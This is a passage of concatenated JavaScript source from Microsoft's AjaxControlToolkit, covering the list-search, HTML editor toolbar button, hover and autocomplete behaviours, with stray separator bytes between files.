            } else {
                // We've found a match, but it might not be the first -- do a linear search backwards
                while(mid > 0 && options[mid - 1].text.toLowerCase().startsWith(value)) {
                    mid--;
                }
                return mid;
            }
        }
        return -1;
    },
    
    _doLinearSearch : function(options, value, left, right) {
        /// <summary>
        /// Does a linear search for a value in the Select's options
        /// </summary>
        /// <param name="options" type="Object">
        /// The collection of options in the Select
        /// </param>
        /// <param name="value" type="String">
        /// The value being searched for
        /// </param>
        /// <param name="left" type="Int">
        /// The left bounds of the search
        /// </param>
        /// <param name="right" type="Right">
        /// The right bounds of the search
        /// </param>
        
        if (this._queryPattern == AjaxControlToolkit.ListSearchQueryPattern.Contains) {
            for(var i = left; i <= right; i++) {
                if(options[i].text.toLowerCase().indexOf(value) >= 0) {
                    return i;
                }
            }
        } else if (this._queryPattern == AjaxControlToolkit.ListSearchQueryPattern.StartsWith) {
            for(var i = left; i <= right; i++) {
                if(options[i].text.toLowerCase().startsWith(value)) {
                    return i;
                }
            }
        }

        return -1;
    },
    
    _onTimerTick : function() {
        /// <summary>
        /// On timer tick since user is not responsive, so reset search text if no match is found.
        /// </summary>    
        this._stopTimer();
      
        // reset search text only if no match was found        
        if (!this._matchFound) {
            this._searchText = '';
            this._updatePromptDiv();
        }
    },
    
    _startTimer : function() {
        /// <summary>
        /// Starts timer to monitor user interaction only if greater than zero.
        /// </summary>     
        if (this._queryTimeout > 0) {
            this._timer = window.setTimeout(Function.createDelegate(this, this._onTimerTick), this._queryTimeout);
        }
    },

    _stopTimer : function() {
        /// <summary>
        /// Stops and clears previously created timer.
        /// </summary>     
        if(this._timer != null) {
            window.clearTimeout(this._timer);
        }
        this._timer = null;
    },
    
    get_onShow : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnShow Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShow() : this._onShowJson;
    },
    set_onShow : function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onShow(value)
        } else {
            this._onShowJson = value;
        }
        this.raisePropertyChanged('onShow');
    },
    get_onShowBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnShow Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onShowBehavior() : null;
    },
    onShow : function() {
        /// <summary>
        /// Play the OnShow animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onShow();
        }
    },
    
    get_onHide : function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnHide Animation's JSON definition
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHide() : this._onHideJson;
    },
    set_onHide : function(value) {
        if (this._popupBehavior) {
            this._popupBehavior.set_onHide(value)
        } else {
            this._onHideJson = value;
        }
        this.raisePropertyChanged('onHide');
    },
    get_onHideBehavior : function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnHide Animation's behavior
        /// </value>
        return this._popupBehavior ? this._popupBehavior.get_onHideBehavior() : null;
    },
    onHide : function() {
        /// <summary>
        /// Play the OnHide animation
        /// </summary>
        /// <returns />
        if (this._popupBehavior) {
            this._popupBehavior.onHide();
        }
    },
    
    get_promptText : function() {
        /// <summary>
        /// The prompt text displayed when user clicks the list
        /// </summary>
        /// <value type="String" />
        return this._promptText;
    },              

    set_promptText : function(value) {
        if (this._promptText != value) {
            this._promptText = value;
            this.raisePropertyChanged('promptText');
        }
    },              

    get_promptCssClass : function() {
        /// <summary>
        /// CSS class applied to prompt when user clicks list.
        /// </summary>
        /// <value type="String" />
        return this._promptCssClass;
    },              

    set_promptCssClass : function(value) {
        if (this._promptCssClass != value) {
            this._promptCssClass = value;
            this.raisePropertyChanged('promptCssClass');
        }
    },

    get_promptPosition : function() {
        /// <value type="AjaxControlToolkit.ListSearchPromptPosition">
        /// Where the prompt should be positioned relative to the target control.
        /// Can be Top (default) or Bottom
        /// </value>
        return this._promptPosition;
    },

    set_promptPosition : function(value) {
        if (this._promptPosition != value) {
            this._promptPosition = value;
            this.raisePropertyChanged('promptPosition');
        }
    },

    get_raiseImmediateOnChange : function() {
        /// <summary>
        /// Boolean indicating whether an OnChange event should be fired as soon as the selected element
        /// is changed, or only when the list loses focus or the user hits enter.
        /// </summary>
        /// <value type="String" />
        return this._raiseImmediateOnChange;
    },

    set_raiseImmediateOnChange : function(value) {
        if (this._raiseImmediateOnChange != value) {
            this._raiseImmediateOnChange = value;
            this.raisePropertyChanged('raiseImmediateOnChange');
        }
    },
    
    get_queryTimeout : function() {
        /// <summary>
        /// Value indicating timeout in milliseconds after which search query will be cleared.
        /// Zero means no auto reset at all.
        /// </summary>
        /// <value type="Number" />    
        return this._queryTimeout;
    },

    set_queryTimeout : function(value) {
        if (this._queryTimeout != value) {
            this._queryTimeout = value;
            this.raisePropertyChanged('queryTimeout');    
        }
    },
    
    get_isSorted : function() {
        /// <value type="Boolean">
        /// When setting this to true, we instruct search routines that
        /// all values in List are already sorted on population,
        /// so binary search can be used if on StartsWith criteria is set.
        /// </value>
        return this._isSorted;
    },
    
    set_isSorted : function(value) {
        if (this._isSorted != value) {
            this._isSorted = value;
            this.raisePropertyChanged('isSorted');
        }
    },
    
    get_queryPattern : function() {
        /// <value type="AjaxControlToolkit.ListSearchQueryPattern">
        /// Search query pattern to be used to find items.
        /// Can be StartsWith (default) or Contains
        /// </value>
        return this._queryPattern;
    },

    set_queryPattern : function(value) {
        if (this._queryPattern != value) {
            this._queryPattern = value;
            this.raisePropertyChanged('queryPattern');
        }
    }    
}

AjaxControlToolkit.ListSearchBehavior.registerClass('AjaxControlToolkit.ListSearchBehavior', AjaxControlToolkit.BehaviorBase);

AjaxControlToolkit.ListSearchPromptPosition = function() {
    throw Error.invalidOperation();
}

AjaxControlToolkit.ListSearchPromptPosition.prototype = {
    Top: 0,
    Bottom: 1
}
AjaxControlToolkit.ListSearchPromptPosition.registerEnum('AjaxControlToolkit.ListSearchPromptPosition');

AjaxControlToolkit.ListSearchQueryPattern = function() {
    /// <summary>
    /// Choose what query pattern to use to search for matching words.
    /// </summary>
    /// <field name="StartsWith" type="Number" integer="true" />
    /// <field name="Contains" type="Number" integer="true" />
    throw Error.invalidOperation();
}

AjaxControlToolkit.ListSearchQueryPattern.prototype = {
    StartsWith: 0,
    Contains: 1
}
AjaxControlToolkit.ListSearchQueryPattern.registerEnum('AjaxControlToolkit.ListSearchQueryPattern');
)Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton.prototype = {

    set_activeEditPanel: function(value) {
        if (this._editPanel != value && this._editPanel != null) {
            var relatedPopup = this.get_relatedPopup();
            if (typeof relatedPopup._forceImClose == "function") {
                var func = relatedPopup._forceImClose;
                func(relatedPopup._iframe.contentWindow);
            }
        }
        AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton.callBaseMethod(this, "set_activeEditPanel", [value]);
    },

    callMethod: function() {
        if (!AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton.callBaseMethod(this, "callMethod")) return false;
        this.openPopup(Function.createDelegate(this, this._onopened));
        return true;
    },

    _onopened: function(contentWindow) {
        contentWindow.popupMediator.set_callMethodByName("OK", Function.createDelegate(this, this._onOK));
        contentWindow.popupMediator.set_callMethodByName("Cancel", Function.createDelegate(this, this._onCancel));
        var relatedPopup = this.get_relatedPopup();
        relatedPopup._popup = this._designPanel._popup;
        relatedPopup._forceImClose = Function.createDelegate(this, this._onCancel);
        this._designPanel._popup = this.get_relatedPopup();
        this.opened(contentWindow);
    },

    opened: function(contentWindow) {
    },

    _onOK: function(contentWindow) {
        if (this.okCheck(contentWindow))
            this._exit(Function.createDelegate(this, this.ok), contentWindow);
    },

    _onCancel: function(contentWindow) {
        if (this.cancelCheck(contentWindow))
            this._exit(Function.createDelegate(this, this.cancel), contentWindow);
    },

    _exit: function(callback, contentWindow) {
        this.closePopup();
        this._designPanel._popup = this.get_relatedPopup()._popup;
        this.get_relatedPopup()._popup = null;
        this.get_relatedPopup()._forceImClose = null;
        callback(contentWindow);
    },

    ok: function(contentWindow) {
    },

    cancel: function(contentWindow) {
    },

    okCheck: function(contentWindow) {
        return true;
    },

    cancelCheck: function(contentWindow) {
        return true;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.OkCancelPopupButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton);
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.prototype = {
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._textAlignState("left");
    },
    
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("JustifyLeft");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR.callBaseMethod(this, "callMethod")) return false;
        var editor = this._designPanel;

        try {
            editor._saveContent();

            var _div = editor._doc.createElement("div");
            _div.innerHTML = "<hr>";

            var el = _div.firstChild;
            var place =editor._getSafePlace();
            if(!place) return;

            var parent=place.parentNode;

            parent.insertBefore(el,place);
            parent.removeChild (place);

            el = (el.nextSibling)?el.nextSibling:el;
            AjaxControlToolkit.HTMLEditor._setCursor(el,editor);
            setTimeout(function() {editor.onContentChanged();editor._editPanel.updateToolbar();}, 0);

            editor.focusEditor();
            return true;
        } catch(e){}
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);
�
Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.prototype = {
    initialize : function() {
        AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.callBaseMethod(this, "initialize");
    },
    
    callMethod : function(select,event) {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.callBaseMethod(this, "callMethod")) return false;

        try {
            var editor = this._designPanel;
            editor._execCommand("FontSize",false,AjaxControlToolkit.HTMLEditor.fontSizeSeek(select.options.item(select.selectedIndex).value));
        } catch(e) {}
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.callBaseMethod(this, "checkState")) return false;
    
        var editor = this._designPanel;

        var param =null;
        var _id = this._select.id;

        try{param =(Function.createDelegate(editor, AjaxControlToolkit.HTMLEditor._queryCommandValue))("fontsize",_id);} catch(e){}

        if(param) param = param.toString();

        if(!editor._FontNotSet)
        if(!param || param.length==0) {
            param = AjaxControlToolkit.HTMLEditor.getStyle(editor._doc.body,"font-size");
            param = AjaxControlToolkit.HTMLEditor._TryTransformFromPxToPt(param, this, _id);
        }

        try {
            var el = this._select;
            var i=0;
            if(param && param.length > 0) {
                var seek = param.toLowerCase().split(",")[0];
                for(i=0; i< el.options.length; i++) {
                    var cur = AjaxControlToolkit.HTMLEditor.fontSizeSeek(el.options.item(i).value.toLowerCase().split(",")[0]);

                    if(cur==seek) break;
                }
                if(i==el.options.length) {
                    try {
                        var newopt = document.createElement("OPTION");
                        newopt.value = param;
                        newopt.text  = param;
                        el.add(newopt,(AjaxControlToolkit.HTMLEditor.isIE)?i:null);
                        $addHandler(newopt, "click", this._onclick_option$delegate);
                    } catch (e) {
                        i = 0;
                    }
                }
            }
            el.selectedIndex = i;
        } catch(e) {}
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FontSize", AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton);

Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy.prototype = {
    canBeShown : function() {
        return AjaxControlToolkit.HTMLEditor.isIE;
    },
    
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy.callBaseMethod(this, "callMethod")) return false;
        var editor = this._designPanel;

        if(AjaxControlToolkit.HTMLEditor.isIE) {
            editor.openWait();
            setTimeout(function(){editor.isShadowed(); editor._copyCut('c',true); editor.closeWait(); editor._ifShadow();},0)
        } else {
            editor._copyCut('c',true);
        }
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Copy", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

� // (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.HoverBehavior = function(element) {
    /// <param name="element">The DOM element the behavior is associated with.</param>
    AjaxControlToolkit.HoverBehavior.initializeBase(this, [element]);
    
    // NOTE: DomEvent handler is specific to the dom element; so these are now 2-element arrays
    // where index 0 is the handler for element and index 1 is the handler for hoverElement.
    this._elementHandlers = null;
    this._hoverElementHandlers = null;
    
    this._hoverElement = null;
    this._hoverCount = 0;
    this._unhoverDelay = 0;
    this._hoverDelay = 0;
    this._hoverScript = null;
    this._unhoverScript = null;   
    this._hoverFired = false; 
}
    
AjaxControlToolkit.HoverBehavior.prototype = {
    _setupHandlersArray: function() {
        var target = [];        
        target[0] = Function.createDelegate(this, this._onHover);                
        target[1] = Function.createDelegate(this, this._onUnhover);        
        return target;
    },
    
    get_elementHandlers: function() {
        
        if (!this._elementHandlers) {
            this._elementHandlers = this._setupHandlersArray();
        }
        return this._elementHandlers;
    },
    
    get_hoverElementHandlers: function() {
        
        if (!this._hoverElementHandlers) {
            this._hoverElementHandlers = this._setupHandlersArray();
        }
        return this._hoverElementHandlers;
    },

    get_hoverElement: function() {        
        /// <value type="Object">Dom element associated with this behavior.</value>       
       
        return this._hoverElement;
    },
    
    set_hoverElement: function(element) {
        /// <param name="element" type="Object">Dom element associated with this behavior.</param>
                
        if (element != this._hoverElement) {
            
            if (this._hoverElement) {
                this._setupHandlers(this._hoverElement, this.get_hoverElementHandlers(), false);
            }
            
            this._hoverElement = element;
            
            if (this._hoverElement) {
                this._setupHandlers(this._hoverElement, this.get_hoverElementHandlers(), true);
            }            
        }
    },
    
    get_hoverDelay: function() {
        /// <value type="Number">Delay in milliseconds before unhover event is raised.</value>
        return this._hoverDelay;
    },
    
    set_hoverDelay: function(value) {
        /// <param name="value" type="Number">Delay in milliseconds before unhover event is raised.</param>
        this._hoverDelay = value;
        this.raisePropertyChanged('hoverDelay');
    },
    
    get_hoverScript: function() {
        return this._hoverScript;
    },
    
    set_hoverScript : function(script) {
        this._hoverScript = script;
    },
    
    get_unhoverDelay: function() {
        /// <value type="Number">Delay in milliseconds before unhover event is raised.</value>
        return this._unhoverDelay;
    },
    
    set_unhoverDelay: function(value) {
        /// <param name="value" type="Number">Delay in milliseconds before unhover event is raised.</param>
        this._unhoverDelay = value;
        this.raisePropertyChanged('unhoverDelay');
    },
    
    get_unhoverScript: function() {
        return this._unhoverScript;
    },
    
    set_unhoverScript : function(script) {
        this._unhoverScript = script;
    },

    dispose: function() {
        var element = this.get_element();
        
        if (this._elementHandlers) {
            var handlers = this.get_elementHandlers();
            this._setupHandlers(element, handlers, false);
            this._elementHandlers = null;
        }
       
        if(this._hoverElement) {
            var handlers = this.get_hoverElementHandlers();
            this._setupHandlers(this._hoverElement, handlers, false);
            this._hoverElement = null;
        }        
        AjaxControlToolkit.HoverBehavior.callBaseMethod(this, 'dispose');
    },

    initialize: function() {
        AjaxControlToolkit.HoverBehavior.callBaseMethod(this, 'initialize');
        
        var handlers = this.get_elementHandlers();
        
        this._setupHandlers(this.get_element(), handlers, true);
        
        if (this._hoverElement) {
            handlers = this.get_hoverElementHandlers();
            this._setupHandlers(this._hoverElement, handlers, true);
        }
    },

    add_hover: function(handler) {
        this.get_events().addHandler("hover", handler);
    },

    remove_hover: function(handler) {
        this.get_events().removeHandler("hover", handler);
    },
    
    _fireHover : function() {
    
        if (!this._hoverCount || this._hoverFired) {
            return;
        }
        
        var handler = this.get_events().getHandler("hover");
        if (handler) {
            handler(this, Sys.EventArgs.Empty);
        }
        if (this._hoverScript) {
            eval(this._hoverScript);
        }
        this._hoverFired = true;
    },
    
    _onHover: function() {
        this._hoverCount++;
        
        if (!this._hoverDelay) {
            this._fireHover();
        }
        else {
            window.setTimeout(Function.createDelegate(this, this._fireHover), this._hoverDelay);
        }
    },

    add_unhover: function(handler) {
        this.get_events().addHandler("unhover", handler);
    },
    
    remove_unhover: function(handler) {
        this.get_events().removeHandler("unhover", handler);
    },
    
    _fireUnhover : function() {
        if (this._hoverFired && !this._hoverCount) {
            this._hoverFired = false;
            var handler = this.get_events().getHandler("unhover");
            if (handler) {
                handler(this, Sys.EventArgs.Empty);
            }
            if (this._unhoverScript) {
                eval(this._unhoverScript);
            }                  
        }
    },
    
    _onUnhover: function() {
        this._hoverCount--;
  
        if (this._hoverCount <= 0) {
        
            // Because Safari fires events differently, it's possible in some scenarios to
            // have mouseout fire before mouseover, so make sure we never get a negative _hoverCount
            this._hoverCount = 0;   
        
            if (!this._unhoverDelay) {
                this._fireUnhover();
            }
            else {
                window.setTimeout(Function.createDelegate(this, this._fireUnhover), this._unhoverDelay);
            }       
            
        }
    },
    
    _setupHandlers: function(element, handlers, hookup) {        
    
        if (!this.get_isInitialized() || !element) return;
        
        if (hookup) {
            $addHandler(element, "mouseover", handlers[0]);        
            $addHandler(element, "focus", handlers[0]);        
            $addHandler(element, "mouseout", handlers[1]);        
            $addHandler(element, "blur", handlers[1]);
        }
        else {
            $removeHandler(element, "mouseover", handlers[0]);        
            $removeHandler(element, "focus", handlers[0]);        
            $removeHandler(element, "mouseout", handlers[1]);        
            $removeHandler(element, "blur", handlers[1]);
        }            
    }
}
AjaxControlToolkit.HoverBehavior.descriptor = {
    properties: [   {name: 'hoverElement', isDomElement: true},
                    {name: 'unhoverDelay', type: Number} ],
    events: [   {name: 'hover'},
                {name: 'unhover'} ]
}
AjaxControlToolkit.HoverBehavior.registerClass('AjaxControlToolkit.HoverBehavior', AjaxControlToolkit.BehaviorBase);
�// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />
/// <reference path="../Animation/AnimationBehavior.js" />
/// <reference path="../PopupExtender/PopupBehavior.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.AutoCompleteBehavior = function(element) {
    /// <summary>
    /// This behavior can be attached to a textbox to enable auto-complete/auto-suggest scenarios.
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" DomElement="true" mayBeNull="false">
    /// DOM Element the behavior is associated with
    /// </param>
    /// <returns />
    AjaxControlToolkit.AutoCompleteBehavior.initializeBase(this, [element]);
    
    // Path to the web service, or null if a page method
    this._servicePath = null;
    
    // Name of the web method
    this._serviceMethod = null;
    
    // User/page specific context provided to the web method
    this._contextKey = null;
    
    // Whether or not the the user/page specific context should be used
    this._useContextKey = false;
    this._minimumPrefixLength = 3;
    this._completionSetCount = 10;
    this._completionInterval = 1000;        
    this._completionListElementID = null;
    this._completionListElement = null;
    this._textColor = 'windowtext';
    this._textBackground = 'window';
    this._popupBehavior = null;
    this._popupBehaviorHiddenHandler = null;
    this._onShowJson = null;
    this._onHideJson = null;
    this._timer = null;
    this._cache = null;
    this._currentPrefix = null;
    this._selectIndex = -1;
    this._focusHandler = null;
    this._blurHandler = null;
    this._bodyClickHandler = null;
    this._completionListBlurHandler = null;        
    this._keyDownHandler = null;
    this._mouseDownHandler = null;
    this._mouseUpHandler = null;
    this._mouseOverHandler = null;
    this._tickHandler = null;
    this._enableCaching = true;
    this._flyoutHasFocus = false;
    this._textBoxHasFocus = false;
    this._completionListCssClass = null;
    this._completionListItemCssClass = null;
    this._highlightedItemCssClass = null;
    this._delimiterCharacters = null;
    this._firstRowSelected = false;
    this._showOnlyCurrentWordInCompletionListItem = false;
    // WebRequest object returned from WebServiceProxy.invoke
    this._webRequest = null;  
    
}
AjaxControlToolkit.AutoCompleteBehavior.prototype = {
    initialize: function() {
        /// <summary>
        /// Initializes the autocomplete behavior.
        /// </summary>
        /// <returns />
        AjaxControlToolkit.AutoCompleteBehavior.callBaseMethod(this, 'initialize');
        $common.prepareHiddenElementForATDeviceUpdate();

        this._popupBehaviorHiddenHandler = Function.createDelegate(this, this._popupHidden);
        this._tickHandler = Function.createDelegate(this, this._onTimerTick);
        this._focusHandler = Function.createDelegate(this, this._onGotFocus);
        this._blurHandler = Function.createDelegate(this, this._onLostFocus);
        this._keyDownHandler = Function.createDelegate(this, this._onKeyDown);
        this._mouseDownHandler = Function.createDelegate(this, this._onListMouseDown);
        this._mouseUpHandler = Function.createDelegate(this, this._onListMouseUp);
        this._mouseOverHandler = Function.createDelegate(this, this._onListMouseOver);
        this._completionListBlurHandler = Function.createDelegate(this, this._onCompletionListBlur);
        this._bodyClickHandler = Function.createDelegate(this, this._onCompletionListBlur);


        this._timer = new Sys.Timer();
        this.initializeTimer(this._timer);

        var element = this.get_element();
        this.initializeTextBox(element);

        if (this._completionListElementID !== null)
            this._completionListElement = $get(this._completionListElementID);
        if (this._completionListElement == null) {
            this._completionListElement = document.createElement('ul');
            this._completionListElement.id = this.get_id() + '_completionListElem';

            // Safari styles the element incorrectly if it's added to the desired location
            if (Sys.Browser.agent === Sys.Browser.Safari) {
                document.body.appendChild(this._completionListElement);
            } else {
                element.parentNode.insertBefore(this._completionListElement, element.nextSibling);
            }
        }
        this.initializeCompletionList(this._completionListElement);

        this._popupBehavior = $create(AjaxControlToolkit.PopupBehavior,
                { 'id': this.get_id() + 'PopupBehavior', 'parentElement': element, "positioningMode": AjaxControlToolkit.PositioningMode.BottomLeft }, null, null, this._completionListElement);
        this._popupBehavior.add_hidden(this._popupBehaviorHiddenHandler);

        // Create the animations (if they were set before initialize was called)
        if (this._onShowJson) {
            this._popupBehavior.set_onShow(this._onShowJson);
        }
        if (this._onHideJson) {
            this._popupBehavior.set_onHide(this._onHideJson);
        }
    },

    dispose: function() {
        /// <summary>
        /// Disposes the autocomplete behavior
        /// </summary>
        /// <returns />

        this._onShowJson = null;
        this._onHideJson = null;
        if (this._popupBehavior) {
            if (this._popupBehaviorHiddenHandler) {
                this._popupBehavior.remove_hidden(this._popupBehaviorHiddenHandler);
            }
            this._popupBehavior.dispose();
            this._popupBehavior = null;
        }
        if (this._timer) {
            this._timer.dispose();
            this._timer = null;
        }

        var element = this.get_element();
        if (element) {
            $removeHandler(element, "focus", this._focusHandler);
            $removeHandler(element, "blur", this._blurHandler);
            $removeHandler(element, "keydown", this._keyDownHandler);
            $removeHandler(this._completionListElement, 'blur', this._completionListBlurHandler);
            $removeHandler(this._completionListElement, 'mousedown', this._mouseDownHandler);
            $removeHandler(this._completionListElement, 'mouseup', this._mouseUpHandler);
            $removeHandler(this._completionListElement, 'mouseover', this._mouseOverHandler);
        }
        if (this._bodyClickHandler) {
            $removeHandler(document.body, 'click', this._bodyClickHandler);
            this._bodyClickHandler = null;
        }

        this._popupBehaviorHiddenHandler = null;
        this._tickHandler = null;
        this._focusHandler = null;
        this._blurHandler = null;
        this._keyDownHandler = null;
        this._completionListBlurHandler = null;
        this._mouseDownHandler = null;
        this._mouseUpHandler = null;
        this._mouseOverHandler = null;

        AjaxControlToolkit.AutoCompleteBehavior.callBaseMethod(this, 'dispose');
    },

    initializeTimer: function(timer) {
        /// <summary>
        /// Initializes the timer
        /// </summary>
        /// <param name="timer" type="Sys.UI.Timer" DomElement="false" mayBeNull="false" />
        /// <returns />
        timer.set_interval(this._completionInterval);
        timer.add_tick(this._tickHandler);
    },

    initializeTextBox: function(element) {
        /// <summary>
        /// Initializes the textbox
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" DomElement="true" mayBeNull="false" />
        /// <returns />    
        element.autocomplete = "off";
        $addHandler(element, "focus", this._focusHandler);
        $addHandler(element, "blur", this._blurHandler);
        $addHandler(element, "keydown", this._keyDownHandler);
    },

    initializeCompletionList: function(element) {
        /// <summary>
        /// Initializes the autocomplete list element
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" DomElement="true" mayBeNull="false" />
        /// <returns />        


        if (this._completionListCssClass) {
            Sys.UI.DomElement.addCssClass(element, this._completionListCssClass);
        } else {
            var completionListStyle = element.style;
            completionListStyle.textAlign = 'left';
            completionListStyle.visibility = 'hidden';
            completionListStyle.cursor = 'default';
            completionListStyle.listStyle = 'none';
            completionListStyle.padding = '0px';
            completionListStyle.margin = '0px! important';
            if (Sys.Browser.agent === Sys.Browser.Safari) {
                completionListStyle.border = 'solid 1px gray';
                completionListStyle.backgroundColor = 'white';
                completionListStyle.color = 'black';
            } else {
                completionListStyle.border = 'solid 1px buttonshadow';
                completionListStyle.backgroundColor = this._textBackground;
                completionListStyle.color = this._textColor;
            }
        }
        $addHandler(element, "mousedown", this._mouseDownHandler);
        $addHandler(element, "mouseup", this._mouseUpHandler);
        $addHandler(element, "mouseover", this._mouseOverHandler);
        $addHandler(element, "blur", this._completionListBlurHandler);
        $addHandler(document.body, 'click', this._bodyClickHandler);
    },

    _currentCompletionWord: function() {
        var element = this.get_element();
        var elementValue = element.value;
        var word = elementValue;

        if (this.get_isMultiWord()) {
            var startIndex = this._getCurrentWordStartIndex();
            var endIndex = this._getCurrentWordEndIndex(startIndex);

            if (endIndex <= startIndex) {
                word = elementValue.substring(startIndex);
            } else {
                word = elementValue.substring(startIndex, endIndex);
            }
        }

        return word;
    },

    _getCursorIndex: function() {
        return this.get_element().selectionStart;
    },

    _getCurrentWordStartIndex: function() {
        var element = this.get_element();
        var elementText = element.value.substring(0, this._getCursorIndex());

        var index = 0;
        var lastIndex = -1;

        for (var i = 0; i < this._delimiterCharacters.length; ++i) {
            var curIndex = elementText.lastIndexOf(this._delimiterCharacters.charAt(i));
            if (curIndex > lastIndex) {
                lastIndex = curIndex;
            }
        }

        index = lastIndex;
        if (index >= this._getCursorIndex()) {
            index = 0;
        }

        return index < 0 ? 0 : index + 1;
    },

    _getCurrentWordEndIndex: function(wordStartIndex) {
        var element = this.get_element();
        var elementText = element.value.substring(wordStartIndex);
        var index = 0;

        for (var i = 0; i < this._delimiterCharacters.length; ++i) {
            var curIndex = elementText.indexOf(this._delimiterCharacters.charAt(i));
            if (curIndex > 0 && (curIndex < index || index == 0)) {
                index = curIndex;
            }
        }

        return index <= 0 ? element.value.length : index + wordStartIndex;
    },

    get_isMultiWord: function() {
        /// <value type="Boolean" mayBeNull="false">
        /// Whether the behavior is currently in multi-word mode
        /// </value>
        return (this._delimiterCharacters != null) && (this._delimiterCharacters != '');
    },

    _getTextWithInsertedWord: function(wordToInsert) {
        var text = wordToInsert;
        var replaceIndex = 0;
        var element = this.get_element();
        var originalText = element.value;

        if (this.get_isMultiWord()) {
            var startIndex = this._getCurrentWordStartIndex();
            var endIndex = this._getCurrentWordEndIndex(startIndex);
            var prefix = '';
            var suffix = '';

            if (startIndex > 0) {
                prefix = originalText.substring(0, startIndex);
            }
            if (endIndex > startIndex) {
                suffix = originalText.substring(endIndex);
            }

            text = prefix + wordToInsert + suffix;
        }

        return text;
    },

    _hideCompletionList: function() {
        /// <summary>
        /// Hides the autocomplete flyout list
        /// </summary>
        /// <returns />

        var eventArgs = new Sys.CancelEventArgs();
        this.raiseHiding(eventArgs);
        if (eventArgs.get_cancel()) {
            return;
        }

        // Actually hide the popup
        this.hidePopup();
